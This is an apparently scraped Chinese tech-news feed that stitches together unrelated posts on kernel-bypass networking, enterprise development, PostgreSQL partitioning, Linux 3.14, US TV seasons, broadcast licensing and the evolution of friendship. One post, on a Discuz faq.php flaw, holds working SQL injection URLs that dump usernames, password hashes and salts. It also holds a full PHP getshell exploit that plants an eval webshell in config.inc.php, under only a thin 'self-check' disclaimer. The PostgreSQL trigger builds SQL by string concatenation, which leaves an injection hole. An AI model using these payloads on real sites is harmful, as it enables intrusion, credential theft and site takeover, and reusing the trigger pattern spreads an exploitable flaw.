  • 32GB的数据需占用64MB的分页表,不适合都存储在高速缓存。所以存在两个高速缓存缺失——分页表和它所指向的数据。这是开发可扩展的软件不能忽略的细节。
  • 解决方案:压缩数据,使用有很多内存访问的高速缓存架构,而不是二叉搜索树
  • NUMA架构加倍了主存访问时间。内存可能不在本地socket,而是另一个socket上。
  • 内存池
  • 启动时立即预先分配所有的内存
  • 在对象,线程和socket的基础上进行分配。
  • 超线程
  • 每个网络处理器最多可以运行4个线程,英特尔只能运行2个。
  • 在适当的情况下,我们还需要掩盖延时,比如内存访问中一个线程在等待另一个全速的线程。
  • 大内存页
  • 减小页表规模。从一开始就预留内存,让你的应用程序管理内存。

总结

  • 网卡
  • 问题:通过内核工作效率不高
  • 解决方案:使用自己的驱动程序并管理它们,使适配器远离操作系统。
  • CPU
  • 问题:使用传统的内核方法来协调你的应用程序是行不通的。
  • 解决方案:Linux管理前两个CPU,你的应用程序管理其余的CPU。中断只发生在你允许的CPU上。
  • 内存
  • 问题:内存需要特别关注,以求高效。
  • 解决方案:在系统启动时就分配大部分内存给你管理的大内存页

控制层交给Linux,应用程序管理数据。应用程序与内核之间没有交互,没有线程调度,没有系统调用,没有中断,什么都没有。 
然而,你有的是在Linux上运行的代码,你可以正常调试,这不是某种怪异的硬件系统,需要特定的工程师。你需要定制的硬件在数据层提升性能,但是必须是在你熟悉的编程和开发环境上进行。 

原文连接: The Secret To 10 Million Concurrent Connections -The Kernel Is The Problem, Not The Solution (文/周小璐,审校/仲浩)

中国云计算领域最大盛会——“   第五届中国云计算大会 ”将于 2013年6月5-7日在北京国家会议中心举行。与此同时, 2013,中国云计算生态系统已初见雏形

 

  • 第五届中国云计算大会讲师秀
  • 集萃系列:百位云计算专家分享技术理念,技术工具与最佳实践 5月17日起】
  • 合纵连横,16家一线云平台提供商【5月17日
  • 生态联盟,240家靠谱云应用服务提供商【云主机,云存储,其他应用,5月20日
  • 转型一战,50家SI/ISV区域龙头【5月21日
  • 区域地图,2013,中国云计算大势图【5月22日,10省316家,持续更新】
  • 深度报道,2013,Cloud Edge“云先锋”系列报道国内100家,国际100家】
  • 建数据库,2013,一步加入中国云计算数据库【300+家,持续更新】
  • 资源拓展,2013,中国云计算区域沙龙【数据库名单筛选,定期举行】

企业报名通道:想“ 一步”加入中国云生态系统,并在第五届中国云计算大会获得免费微展位,请在线填写“  Innovation Cloud 2013云创新产品与应用项目”问卷!( 截止到5月20日,进入评选流程)

有任何问题,欢迎联系我们!



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐




企业开发的互联网转型

$
0
0

算起来,我从互联网开发转向企业开发已经有四年时间了。在刚刚投身企业开发的那段时间,虽然也读过《企业应用架构模式》之类的书,到底没有做过正经的“企业开发”,而且业务并不算太复杂,所以还是借着之前互联网开发的老底子解决问题。这么做确实解决了很多问题,但心里还不太放心,总觉得这不是名正言顺的“企业开发”,以后会有问题。

因为谈到传统的企业开发,大家通常想到的是重型的框架、瀑布模型、严格的限制、海量的文档和签字、对商用软件的倚重等等(正版盗版另论)。而谈到互联网开发,大家通常想到的是轻量的开发、迅速迭代、不断的试错、面对面的交流、开源/免费软件的广泛使用。传统上,企业开发和互联网开发并不对付,你觉得我是杂乱无章的恣意胡闹,我觉得你是傻大笨粗的因循守旧,好在双方“井水不犯河水”,也相安无事。

企业开发和互联网开发的这种区别,也是我在跨界之时的一大忧虑。然而工作得越久,事实却不断证明这种担心是多余的,或者至少不必高估“企业开发”的正统性。而且,有越来越多的迹象让我相信,企业开发的互联网转向,是未来的趋势。按照我的总结,原因大致有以下几点。

首先,经济的发展诞生了越来越多的小企业,而信息化的发展已经让IT成了各种企业的必须,所以“企业开发”必须考虑到这些小企业的需求。前些年大家开个饭馆、书店,可能手工记账即可。现在哪家饭馆、哪家书店没有IT系统,简直是不可想象——哪怕这种IT系统是非常简单的程序。尤其是在电子商务兴起之后,众多企业都希望上网展示自己、拓展业务,这时候更少不了IT系统。这些小企业只关心简单、便宜、易用的IT系统,传统的重型“企业开发”并不能适应它们的需求。即便其业务增长迅速,这种业务通常也是创新型的业务,没有现成的企业系统能够适应,所以互联网开发模式下轻量级的、能迅速迭代的系统,更能满足需求。

其次,企业开发已经很难吸引到优秀的人才加盟。最早的软件开发几乎等于“企业软件开发”,一招一式皆有成为规范可循,而互联网开发更像是半路出家,“摸着石头过河”的产物,一早并不被科班所重视。所以之前定义的“好学生”,往往是理论学得扎实、教材读得仔细、工具用得熟练的人。企业开发的套路正好又和学校学的一致,所以“好学生”往往能成为企业开发的优秀人才。如今的情况却大不相同,“好学生”嘴里谈的更多的,也更感兴趣的,可能是MongoDB、Node.js、Ruby on Rails、Go等等新鲜玩意。别说“老派的”WebService、Struts,甚至就连.NET MVC、Spring估计都不能引起他们的兴趣。加之传统从事企业开发的人对技术的保守特性(更愿意采用成熟技术),直接灭绝了大量人才(包括优秀的苗子)进入企业开发领域的可能性,而没有新鲜血液补充的企业开发团队,不说开发新功能,维护的成本都会日益增高。我曾经遇到过客户仍在使用Delphi开发的系统,可惜已经很难找到人维护了。

再次,移动办公的应用场景所倚赖的技术离不开互联网。传统的企业开发,无论Java平台还是.NET平台,与如今流行的移动开发基本是“绝缘”的。企业开发所使用的COM、SOAP、WSDL等等技术,在iOS、Android开发者看来,简直是天方夜谭,即便费劲周折,也不一定能取得好的效果。然而企业开发分明又面临着支持移动平台、移动办公的压力,如果固守之前的套路和技术,只有死路一条。

最后,如今的互联网已经越来越讲究互连互通了,传统企业开发的“闭环”思维和模式,已经越来越不适应时代的要求。我接触的很多客户、合作方,发现企业系统的一大问题是信息孤岛效应。或许两家企业都有各自的信息系统,而且运行流畅稳定,可是一旦需要进行数据交流则叫苦不迭。因为没有合适的对外接口,要么就冒很大风险开放不必要的权限,要么就只能通过QQ或邮件手工交换数据。在互联网开发的人看来,世界天生是由无数API构成的,这样才有无限想象空间;但对很多从事企业开发的人来说,别说对外的接口,就是对内的接口都很难做,大家更习惯为着确定目的“量身打造”紧耦合的系统。

不能互连互通的另一大问题在于,互联网、云计算,已经为以前麻烦的众多问题提供了低成本的解决方案。比如困扰许多企业系统的存储问题,传统的解决办法大概是去买专门的存储设备,购置费用一大笔不说,支持和维护的支出更是没有尽头。但是同样的问题,在互联网上已经有非常成熟的解决方案,存储的价格相当低廉,很适合存储海量的非敏感业务数据(如果不信任国内的云服务商,可以存放在亚马逊的S3,也可以分几家存储)。如果不能采用类似的方案,必然要求企业系统的开发者“亲力亲为”地解决这种问题,分散了本该聚焦在核心业务上的注意力。

当然,传统的企业开发方式里,还是有很多有意义而且值得保留的做法,比如明确的目标设定、详细的需求管理、规范的进度把握等等。我曾在知乎看到有人评价说“互联网有时给人的感觉是太杂乱无章了,有时根本不按规矩来,而要真正做好一件事情,基本的规矩是必须要遵守的”,这种观点我很认同。但是总的来说,企业开发从传统的“企业开发模式”转向“互联网开发模式”,是“不得不为”的趋势。我心中理性的企业开发,应当是在“专心关注核心业务”之外,广泛、合理地应用外界各种开发技术和资源的模式。各位身处企业开发领域,但还没有足够资本退休的朋友,或许该早早做准备了。

postgres创建表分区

$
0
0

分区
       PostgreSQL支持基本的表分区功能。
概述
     分区的意思是把逻辑上的一个大表分割成物理上的几块。分区可以提供若干好处:

  • 某些类型的查询性能可以得到极大提升。特别是表中访问率较高的行位于一个单独分区或少数几个分区上的情况下。分区可以减少索引体积从而可以将高使用率部分的索引存放在内存中。如果索引不能全部放在内存中,那么在索引上的读和写都会产生更多的磁盘访问。
  • 当查询或更新一个分区的大部分记录时,连续扫描那个分区而不是使用索引离散的访问整个表可以获得巨大的性能提升。
  • 如果需要大量加载或者删除的记录位于单独的分区上,那么可以通过直接读取或删除那个分区以获得巨大的性能提升,因为ALTER TABLE比操作大量的数据要快的多。它同时还可以避免由于大量DELETE导致的VACUUM超载。
  • 很少用的数据可以移动到便宜一些的慢速存储介质上。

       这种好处通常只有在表可能会变得非常大的情况下才有价值。到底多大的表会从分区中收益取决于具体的应用, 不过有个基本的拇指规则就是表的大小超过了数据库服务器的物理内存大小。
       目前, PostgreSQL支持通过表继承进行分区。每个分区必须做为单独一个父表的子表进行创建。父表自身通常是空的,它的存在只是为了代表整个数据集。你在试图实现分区之前,应该先熟悉继承

PostgreSQL可以实现下面形式的分区:

  • 范围分区

        表被一个或者多个关键字段分区成"范围",这些范围在不同的分区里没有重叠。比如,我们可以为特定的商业对象根据数据范围分区,或者根据标识符范围分区。

  • 列表分区

       表通过明确地列出每个分区里应该出现那些关键字值实现。
实现分区
       要设置一个分区的表,做下面的步骤:

  • 创建"主表",所有分区都从它继承。
  • 这个表中没有数据,不要在这个表上定义任何检查约束,除非你希望约束同样也适用于所有分区。同样,在其上定义任何索引或者唯一约束也没有意义。
  • 创建几个"子表",每个都从主表上继承。通常,这些表不会增加任何字段。
  • 我们将把子表称作分区,尽管它们就是普通的PostgreSQL表。
  • 给分区表增加约束,定义每个分区允许的健值。
--创建序列
create sequence id_seq increment by 1 minvalue 1 no maxvalue start with 1;
--查询序列的值
select nextval('id_seq') ;
select currval('id_seq') ;
--创建日志表
CREATE TABLE ss_log
(
  id integer NOT NULL DEFAULT nextval('id_seq'::regclass),
  createtime timestamp without time zone,
  model character varying(100),
  CONSTRAINT log_pkey PRIMARY KEY (id)
)
WITH (
  OIDS=FALSE
);
ALTER TABLE ss_log
  OWNER TO postgres;

--查询日志表数据
select * from ss_log ;

--插入日志信息
insert into ss_log values(4,current_date ,'model') ;

--为ss_log创建触发器,分配需要插入到日志表中的数据
CREATE TRIGGER insert_ss_log_trigger
    BEFORE INSERT ON ss_log
    FOR EACH ROW EXECUTE PROCEDURE ss_log_insert_trigger();

CREATE OR REPLACE FUNCTION ss_log_insert_trigger() RETURNS TRIGGER AS $$
declare
	table_name varchar := null ;
	log_createtime varchar := null ;
BEGIN
	log_createtime := to_char(NEW.createtime,'yyyyMMdd') ;
	select relname into table_name from pg_class where relname = 'ss_log_'||log_createtime  ;
	if table_name is null then 
		table_name := 'ss_log_'||log_createtime ;
		execute 'CREATE TABLE '||table_name||' (
			CHECK ( createtime >= '''||log_createtime||'''::timestamp  AND createtime < ('''||log_createtime||'''::timestamp + interval ''1d'') )
		)INHERITS (ss_log)';
	end if ;
	--将数据插入相应的表  ss_log_20140704
	execute 'INSERT INTO '|| table_name||'(id,createtime,model) VALUES ('||NEW.id||','''||NEW.createtime||''','''||NEW.model||''')' ;
	--不向主表中查数据
	RETURN NULL;
END;
$$
LANGUAGE plpgsql;




 



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



Linux 3.14将是下一个长期支持内核

$
0
0
内核稳定内核分支维护者Greg Kroah-Hartman宣布,Linux 3.14将是下一个长期支持稳定内核。长期支持稳定内核针对的是嵌入式设备,嵌入式设备的生命期短更新更快,一般为两年左右,长期支持稳定内核将提供两年的维护更新。Linux 3.14在今年3月发布,将一直支持到2016年8月。






美剧一季一季的播,是为了把成本控制最低

$
0
0

萝卜网

回复一:

美国商业性质的电视台很多,竞争十分激烈,于是就产生出这种“边拍边放”的商业化连续剧模式,收视率差的瞬间就会被从日程表上刷下来,后面的也不用拍了,成本降到最低,可说是名副其实的“市场经济”。

经过长时间实践性的市场摸索,美国各商业电视台现在都普遍采用每年拍摄一个电视剧段落,如果反响不错,则继续拍摄下去。但是考虑到演职人员的休息、额外工作安排等问题,而不会把拍摄日程排满整年,通常在 3~6 个月之间,于是把这样的一个拍摄段落称为 Season(季),作为划分这个段落的一个标准。

在推出了“季”这个概念以后,由于美国观众习惯连续剧在一次相对较短的观看过程中看到剧情结束,但又可以留一个可以令人想象的空间,所以每“季”的结束一般是一个故事段落的结束。不过也不尽然,在美国及国内都很火的《越狱》第一季,在拍摄了十几集的时候,演职人员进入了休假状态,之后的半年才开始继续拍摄和播放第一季剩下的十多集,如果从传统意义的“季”上来说,越狱第一季应该包含了两季,但是以剧情的完整性来说,又是一季。

所以说,如果追寻“季”的出处,是出于拍摄或播放周期,现在的含义,则是可以自成一个故事段落,后续作品还可能推出的电视剧段落。

回复二:

这似乎是一个不需要回答,又从未搞懂过的问题呢,在本人搜索了几十个网页后,发现很多老外也不明白为什么美剧的播放以 Season 为单位,英剧以 Series 为单位。不过拼凑了一下各方观点,“季”的概念差不多是这样的。

普遍的答案是 Season 这个术语来源于戏剧界,舞台剧、歌剧、芭蕾剧都是以“Season”代表演出季,也就是一个时间段内上演的剧目,没有严格的时间限制。

不过像美剧的演播季的确很有“季”的特征,秋季档的剧每一季有 22 集,一般是从 9 月到次年 5 月,每一季的上半部分一般是 10-13 集,播放三个月后迎来冬歇。在间歇期(Hiatus),电视台高层可以拿到收视调查数据和观众反馈以评估新剧的价值,是续订还是砍掉就看 11 月的数据啦。中间的空白会由一些季中剧(mid-season replacement)和重播老剧填补,比如《实习医生格蕾》原来就是《波士顿法律》的季中剧,因为评价高被发展出来的。被预定的剧集会在 1-2 月回归,4-5 月结束,接近一个季度的长度。

过去夏季档会被电视台看做垃圾时间,不过现在电视台开始注重这个档期,推出了不少原创剧。这点要归功于 USA 和 TNT 这些有线台挖掘了这个市场,虽然夏季的整体收视率会下滑,但他们发现观众不会因为天气原因不看电视的。

美剧还有一个样片季(pilot season)。制片人会在 1-4 月为秋季上档新剧进行前期试拍,这些 Pilot 会被送到电视台高层手上,还会举办小规模的试播。到 5 月的时候,电视台将会排定秋季档的播出表,决定哪些 Pilot 适合延展成一季,选中的新剧还会向潜在的广告商进行展示。

这样英剧用 Series 就好理解多了,人家每年只播放 6 集实在离“季”的长度有点远,另外播放也不像美剧有没有固定时间。英国主要有两家电视台,BBC 和 ITV。BBC 是付费的,所以节目中间不插播广告,大概因为没有竞争和广告的压力,创作的随意度比较大,一部剧通常也就 1-2 个编剧,没有美剧那种庞大的编剧团队。

美国的环境就大不一样了,为什么 9 月会成为新剧密集开播的时间?美剧制作模式归根结底是出于商业利益的考虑,因为广告金主车企会在那时发布新系列,进行大量的广告投放,而新剧会最大程度刺激收视率。

相比之下,收费的有线台的“季”要短很多,创作人员倾向于质量而非长度,所以一季一般在 10-13 集。

不是所有的剧集都是一周一更,日间肥皂剧是一周五集,年终不休,一部肥皂剧放上 40 年,集数都过万了。另外重播剧也会一周播放五集,“重播”对制作方差不多是无本万利,但要获得重播资格起码你得放了四季,必须有 88-100 多集数了。

您可能对以下文章感兴趣:

如果《权力的游戏》是一部80年代的美剧

中国是否有希望开创类似美剧的季播剧模式,它的阻力有哪些?

赴美生子的成本多少?

美剧和英剧有什么不同?

各大热门美剧的观众纷纷展开自救,连夜上书广电总局
无觅

广电总局不再发放集成播控牌照 商业网站不能自建内容平台

$
0
0

广电总局罗建辉:不再发集成播控牌照 互联网电视内容须合法

【TechWeb报道】7月3日消息,在今日举办的“第三届中国互联网电视产业论坛”上,新闻出版广电总局网络视听节目管理司司长罗建辉在讲话中透露,将不再发放集成播控牌照,互联网电视中的内容服务必须合法,同时指出商业网站不能在互联网电视上自建内容平台。

“我再次强调,设备生产企业、互联网站不得设立集成平台和内容平台,互联网电视中的内容服务,只能接受合法的内容。”罗建辉同时表示,商业网站可在内容上参与,向自主的内容平台提供版权节目。

罗建辉表示,可以从三个层面来理解和把握互联网电视定位:

一是从开办主体上,只有经过国家新闻出版广电总局批准的广播电视机构,才能开展互联网电视内容平台。

目前总局共批准了七家互联网电视集成服务机构,还批准了江苏电视台,电影卫星频道节目制作中心,湖北广播电视台,城市联合电视台,山东、北京等14家广播电视机构作为互联网电视内容平台。其中集成服务牌照将不再发放,内容服务牌照鼓励省级以上广电机构进行申请。

二是在内容管理上,互联网电视播出的内容与传统电视播出的内容审核标准一致,管理尺度一致,版权保护原则一致。

三是在社会责任上,不管是传统的有线无线电视还是互联网电视,都只是在业务模式上有差异,在履行社会媒体责任方面没有特殊性。要坚持社会效益和经济效益有机统一,特别是处于产业核心环节的互联网电视集成服务机构和设备生产企业,必须履行好责任,确保为老百姓提供绿色、安全的内容服务。

罗建辉在谈及互联网电视集成服务机构发出整改函时表示,主要原因是由于相关机构推出的互联网电视机顶盒为不良内容进入电视机提供技术支持和通道,违反总局相关管理政策。

“互联网电视绿色、内容安全健康,是我们发展互联网电视必须坚持的发展方向,也就是说互联网电视是电视播出方式的一种,必须遵守广播电视管理法律法规的原则和精神。”罗建辉说道。

Discuz

$
0
0

据说是某数字公司的应急给发布出来了.群里面的小伙伴都惊呆了,具体的漏洞分析看 此文

其中的

在《高级PHP应用程序漏洞审核技术》[1]一文里的"魔术引号带来的新的安全问题"一节里,有
提到通过提取魔术引号产生的“\”字符带来的安全问题,同样这个问题在这里又一次完美体
现,如下面的代码片段:
 
// foo.php?xigr=&#039;ryat
function daddslashes($string, $force = 0) {
!defined(&#039;MAGIC_QUOTES_GPC&#039;) && define(&#039;MAGIC_QUOTES_GPC&#039;, get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
...
foreach(array(&#039;_COOKIE&#039;, &#039;_POST&#039;, &#039;_GET&#039;) as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != &#039;_&#039; && $$_key = daddslashes($_value);
}
}
 
echo $xigr[&#039;hi&#039;];
// echo \
 
上面的代码原本期望得到一个经过daddslashes()安全处理后的数组变量$xigr[&#039;hi&#039;],但是没
有对变量$xigr做严格的类型规定,当我们提交一个字符串变量$xigr=&#039;ryat,经过上面的处理
变为\&#039;ryat,到最后$xigr[&#039;hi&#039;]就会输出\,如果这个变量引入到SQL语句,那么就会引起严重
的安全问题了,再来看下面的代码片段:
 
...
if($xigr) {
foreach($xigr as $k => $v) {
$uids[] = $v[&#039;uid&#039;];
}
$query = $db->query("SELECT uid FROM users WHERE uid IN (&#039;".implode("&#039;,&#039;", $uids)."&#039;)");
 
利用上面提到的思路,通过提交foo.php?xigr[]=&#039;&xigr[][uid]=evilcode这样的构造形式可
以很容易的突破GPC或类似的安全处理,形成SQL注射漏洞:D

测试漏洞存在的语句

http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

爆出账号+密码+salt的语句

http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23


以下内容仅供站长进行安全自检,非法利用责任自负

附上getshell exp:(根据别人的测试,代码可能有些部分有待完善)

<?php
 
/**
* @author: xiaoma
* @blog  : www.i0day.com
* @date  : 2014.7.2 23:1
*/
 
error_reporting(0);
set_time_limit(3000);
$host=$argv[1];
$path=$argv[2];
$js=$argv[3];
$timestamp = time()+10*3600;
$table="cdb_";//表名
 
if ($argc < 2) {
print_r(&#039;
********************************************************
*  Discuz faq.php SQL Injection Exp                    *
*  ---------By:Www.i0day.com-----------               *
*     Usage: php &#039;.$argv[0].&#039; url [js]                    *
*  -------------------------------------               *
*  js选项: 1.GetShell 2.取密码 3.查表前缀              *
*                                                      *
*   php &#039;.$argv[0].&#039; Www.i0day.com / 1                    *
*   php &#039;.$argv[0].&#039; Www.i0day.com /dz72/ 1               *
*                                                      *
*                                                      *
********************************************************
&#039;);
exit;
}
if($js==1){
$sql="action=grouppermission&gids[99]=&#039;&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
 
if(strpos($resp,"::")==-1){
echo &#039;表前缀可能不是默认cdb_ 请先查看表前缀!&#039;;
}else{
preg_match("/::(.*)::/",$resp,$matches);
$lenght=intval($matches[1]);
if($lenght){
if($lenght<=124){
$sql="action=grouppermission&gids[99]=&#039;&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"1\^")!=-1){
preg_match("/1\^(.*)\&#039;/U",$resp,$key1);
$sql="action=grouppermission&gids[99]=&#039;&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
preg_match("/1\^(.*)\&#039;/U",$resp,$key2);
$key=$key1[1].$key2[1];
$code=urlencode(_authcode("time=$timestamp&action=updateapps", &#039;ENCODE&#039;, $key));
$cmd1=&#039;<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">bbs.49you.com\&#039;);eval($_POST[i0day]);//</item></root>&#039;;
$cmd2=&#039;<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">bbs.49you.com</item></root>&#039;;
$html1 = send($cmd1);
$res1=substr($html1,-1);
$html2 = send($cmd2);
$res2=substr($html1,-1);
if($res1==&#039;1&#039;&&$res2==&#039;1&#039;){
echo "shell地址:http://".$host.$path.&#039;config.inc.php   pass:i0day&#039;;
}
}else{
echo &#039;获取失败&#039;;
}
}
}
}
 
}elseif($js==2){
$sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"\^\^\^")!=-1){
preg_match("/\^\^\^(.*)\^/U",$resp,$password);
echo &#039;密码:&#039;.$password[1];
}else{
echo &#039;表前缀可能不是默认cdb_ 请先查看表前缀!&#039;;
}
}elseif($js==3){
$sql="action=grouppermission&gids[99]=&#039;&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"1\^")!=-1){
preg_match("/1\^(.*)\^/U",$resp,$t);
 
if(strpos($t[1],"cdb_")!=-1){
echo "表名为:".hex2str($t[1])." 表前缀为默认cdb_ 无需修改";
}else{
echo "表名:".hex2str($t[1]).&#039; 不是默认表名cdb_请自行修改代码中的$table&#039;;
}
}else{
echo "查看表前缀失败,Sorry";
}
}else{
echo "未选择脚本功能";
}
 
 
function sendpack($host,$path,$sql,$js){
$data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n";
$data.="Host:".$host."\r\n";
$data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n";
$data.="Connection: close\r\n\r\n";
//$data.=$html."\r\n";
$ock=fsockopen($host,80);
 
if(!$ock){
echo "No response from ".$host;
die();
 
}
fwrite($ock,$data);
 
$resp = &#039;&#039;;
 
while (!feof($ock)) {
 
$resp.=fread($ock, 1024);
}
 
return $resp;
 
}
function send($cmd){
global $host,$code,$path;
$message = "POST ".$path."/api/uc.php?code=".$code."  HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
 
//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);
 
$resp = &#039;&#039;;
 
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
 
return $resp;
}
 
function _authcode($string, $operation = &#039;DECODE&#039;, $key = &#039;&#039;, $expiry = 0) {
$ckey_length = 4;
 
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == &#039;DECODE&#039; ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : &#039;&#039;;
 
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
 
$string = $operation == &#039;DECODE&#039; ? base64_decode(substr($string, $ckey_length)) : sprintf(&#039;%010d&#039;, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
 
$result = &#039;&#039;;
$box = range(0, 255);
 
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
 
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
 
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
 
if($operation == &#039;DECODE&#039;) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return &#039;&#039;;
}
} else {
return $keyc.str_replace(&#039;=&#039;, &#039;&#039;, base64_encode($result));
}
 
}
function hex2str($hex){
$str = &#039;&#039;;
$arr = str_split($hex, 2);
foreach($arr as $bit){
$str .= chr(hexdec($bit));
}
return $str;
}
?>

[ 原文链接]

为什么交朋友?看看进化怎么说

$
0
0

友谊如此美好,都是有原因的。来看看生物学家劳伦·布伦特如何从进化角度来解读。图片来源:imgion.com

Hillwoods/译)我们需要朋友。他们对我们的身心健康,甚至财富,都有着正面影响。相反的,与世隔绝则会引起一种类似肉体痛楚的不适感,会使我们紧张,易受疾病侵染。事实上,缺乏朋友时,我们的身体反应就如重要的生理需求未得到满足一般。这不奇怪。对人类来说,朋友并不是可有可无的附属品——进化促使我们依靠朋友。

但友情是需要付出的。花在社交上的时间本可用于进行其他事关生存的活动,如准备食物、做爱和睡觉。此外,一件事于我们有益并不意味着它是必须的。这也说明了为什么我们会进化出交友欲,有要与朋友共度时光的需求。和性爱、进食或任何物种生存所需的本能一样,友情由一套强化和奖励体系所驱动。换言之,交友活动与多种大脑神经递质和身体生物化学物质的释放有关,这些神经递质和生物化学物质能使人产生快感。

为了了解是什么催生了友情,我们需从一个看似不相关的地方着手——哺乳。当婴儿吃奶时,母亲的脑垂体会释放一种称为催产素(oxytocin)的神经肽。这种物质使乳房的肌肉收缩,从而分泌乳汁,另外它还能减轻焦虑感、降低血压和心率。对母亲和婴儿而言,这种由催产素带来的放松感会促进哺乳过程,同时使母子之间建立强韧的爱的纽带。

这种现象在所有的哺乳动物中都存在,但在人类和少数几种有交友行为的物种中,这套系统还被委以其他重担,适用范围大大扩展。进化并没有重新设计出一套系统,而是对已有的系统进行优化。催产素不仅仅作用于母子关系,还作用于其他的人际关系。与他人进行有益的身体接触,如拥抱、轻抚和按摩时,这种神经肽都会被释放。随之而来的愉悦心情则是这类互动的回报,并鼓励你再次与那人见面。于是友谊的萌芽便孕育而生。

当然,很多朋友间的互动并不涉及身体接触,但催产素仍然以别的方式起着作用。它能引导人们做出亲社会的决策,增进信任,并鼓励施舍。催产素固然重要,但并不是唯一的友谊催化剂。另一种关键的参与者被称为内啡肽,是一种类阿片活性肽类化合物。这种化学物质也由脑垂体分泌。轻度疼痛,比如锻炼等,会引起内啡肽的释放。这种大脑的神经递质能使人产生幸福感。所有的脊椎动物都能生成内腓肽,所以它在催生友谊的过程中起到的重要作用,必定也是进化带来的结果。内啡肽和催产素一样,能让人们在进行身体接触时感觉良好,但它却是从另一方面巩固着友谊。

婴儿更愿意盯着脸,而不是其他东西。因为人脸这样的社会信息,会激发大脑中有关奖励机制的区域。图片来源:《新科学家》

英国牛津大学的罗宾·邓巴(Robin Dunbar)及其同僚曾做过如下实验 :他们要求实验参与者独自或两人一组划船,并在划船前后测量内啡肽含量。他们的发现非常惊人。尽管付出的体力相同,成对协作划船的人比独自划船的人释放了更多的内啡肽。友情的一个重要的组成部分就是行为同步——在相同的时间和地点进行活动是建立和维持朋友关系所必须的。内啡肽似乎能使这种同步产生愉悦感,从而加强朋友关系。

相反的,缺乏社交会造成非常负面的情绪。孤单的人应激激素皮质醇(cortisol)水平往往过高。长期的紧张会伤害健康,这可能解释了为何缺乏社交的人罹患心血管疾病的风险更高,且更容易受到感染。应激反应是由下丘脑-脑垂体-肾上腺轴系统活化而产生的。这套系统的活化是身体内稳态受到干扰的征兆。

压力促使我们为回归内稳态采取行动,这包括在疲劳时休息,以及在感到热时寻找遮荫处。它也有可能引导我们在感觉孤单时寻求社交活动。当我们紧张时,如果有朋友相伴,产生的皮质醇就较少。这一事实说明,朋友能帮助我们回归内稳态,或是能预先防止内稳态受到干扰。

